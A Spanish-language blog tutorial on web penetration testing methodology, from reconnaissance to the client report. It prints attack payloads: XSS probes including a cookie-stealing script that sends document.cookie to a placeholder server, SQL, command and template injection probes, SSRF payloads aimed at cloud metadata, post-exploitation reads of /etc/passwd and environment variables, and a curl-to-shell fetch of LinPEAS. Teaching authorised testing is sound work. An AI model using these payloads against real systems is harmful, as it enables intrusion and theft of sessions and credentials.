604 palabras
3 minutos
Metodología de Pentesting Web: De 0 a reporte profesional
Fases de un Pentest Web
Un pentesting profesional sigue una estructura clara. No es simplemente “lanzar herramientas” — es un proceso metódico.
1. Reconocimiento2. Escaneo y Enumeración3. Identificación de Vulnerabilidades4. Explotación5. Post-Explotación6. ReporteFase 1: Reconocimiento
Reconocimiento pasivo (sin tocar el objetivo)
# WHOISwhois target.com
# Registros DNSdig target.com ANYdig target.com MXdig target.com TXT
# Certificados SSL (revelan subdominios)curl -s "https://crt.sh/?q=%.target.com&output=json" | \ jq -r '.[].name_value' | sort -u
# Google Dorkssite:target.com filetype:pdfsite:target.com inurl:adminsite:target.com "contraseña" OR "password"
# Wayback Machinewaybackurls target.com | tee wayback.txtReconocimiento activo
# Descubrimiento de subdominiossubfinder -d target.com -o subs_subfinder.txtamass enum -d target.com -o subs_amass.txtcat subs_*.txt | sort -u > all_subs.txt
# Verificar cuáles están activoshttpx -l all_subs.txt -title -status-code -o activos.txtFase 2: Enumeración
# Tecnologíaswhatweb https://target.comwappalyzer (extensión de navegador)
# Directorios y archivosffuf -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt \ -u https://target.com/FUZZ \ -fc 404 \ -o dirs.json -of json
# Parámetros GETarjun -u https://target.com/search
# Extracción de URLs de JSgau --mc 200 target.com | tee all_urls.txtcat all_urls.txt | grep "\.js$" | sort -u > js_files.txtFase 3: Vulnerabilidades comunes
Injections
# SQL Injectionsqlmap -u "https://target.com/user?id=1" --dbs --batch --random-agent
# Command Injection (testear manualmente); id| whoami`id`$(id)
# Template Injection (SSTI){{7*7}} # Jinja2, Twig${7*7} # Freemarker<%= 7*7 %> # ERBXSS
# Payloads básicos<script>alert(1)</script><img src=x onerror=alert(1)>"><script>alert(document.cookie)</script>javascript:alert(1)
# XSS Avanzado - robo de cookies<script> fetch('https://tu-servidor.com/steal?c='+document.cookie)</script>IDOR (Insecure Direct Object Reference)
# Cambiar IDs de usuario en requestsGET /api/user/profile/123 → cambiar a /api/user/profile/124POST /delete-account {"user_id": 123} → cambiar a 124
# Herramienta: Autorize (plugin de Burp Suite)SSRF
# Payloads de pruebahttp://127.0.0.1/adminhttp://169.254.169.254/latest/meta-data/ # AWS metadatahttp://localhost:8080http://[::1]/admin # IPv6 bypass
# Detectar con Burp Collaborator o interactshpython3 -m interactsh-clientFase 4: Explotación
Documenta todo mientras explotas. Screenshots, videos, comandos exactos.
# Capturar tráfico con Burp# 1. Configurar proxy en Burp (127.0.0.1:8080)# 2. Activar intercept# 3. Realizar la acción vulnerable# 4. Guardar la request
# Guardar requests importantesburp → request → save item → exploits/vuln_name.reqFase 5: Post-Explotación
Si lograste RCE o acceso al servidor:
# Información del sistemaid && whoamiuname -acat /etc/passwdenv
# Red internaip addrnetstat -tulpncat /etc/hosts
# Escalada de privilegios — LinPEAScurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | shFase 6: El Reporte
Esta es la fase más importante para clientes reales. Un mal reporte arruina un buen pentest.
Estructura del reporte ejecutivo
1. Resumen Ejecutivo - Objetivo del pentest - Periodo de evaluación - Hallazgos críticos resumidos - Recomendaciones prioritarias
2. Metodología utilizada
3. Hallazgos detallados (por vulnerabilidad): - Descripción - Severidad (CVSS score) - Pasos para reproducir - Evidencia (screenshots) - Impacto en el negocio - Recomendación de remediación
4. ConclusiónCalculadora CVSS rápida
Crítico: 9.0 – 10.0 (RCE sin auth, SQLi con datos sensibles)Alto: 7.0 – 8.9 (Auth bypass, IDOR masivo, SSRF interno)Medio: 4.0 – 6.9 (XSS almacenado, CSRF, Info disclosure)Bajo: 0.1 – 3.9 (XSS reflejado, Missing headers)Checklist de pentesting web
[ ] Reconocimiento pasivo completo[ ] Subdominios enumerados[ ] Tecnologías identificadas[ ] Directorios y endpoints mapeados[ ] Autenticación probada (fuerza bruta, bypass)[ ] Todas las inputs probadas para SQLi[ ] XSS en inputs y headers[ ] IDOR en todos los endpoints con IDs[ ] SSRF en campos URL/redirect[ ] Business logic analizada[ ] APIs documentadas y probadas[ ] Headers de seguridad verificados[ ] Evidencia documentada[ ] Reporte redactadoLa metodología es la diferencia entre un hacker y un pentester profesional. La práctica constante en HTB, TryHackMe y PortSwigger Academy es el camino. 🔴
Seguiremos con técnicas específicas de cada vulnerabilidad en próximos posts.
Metodología de Pentesting Web: De 0 a reporte profesional
https://oguiii.xyz/posts/metodologia-pentesting-web/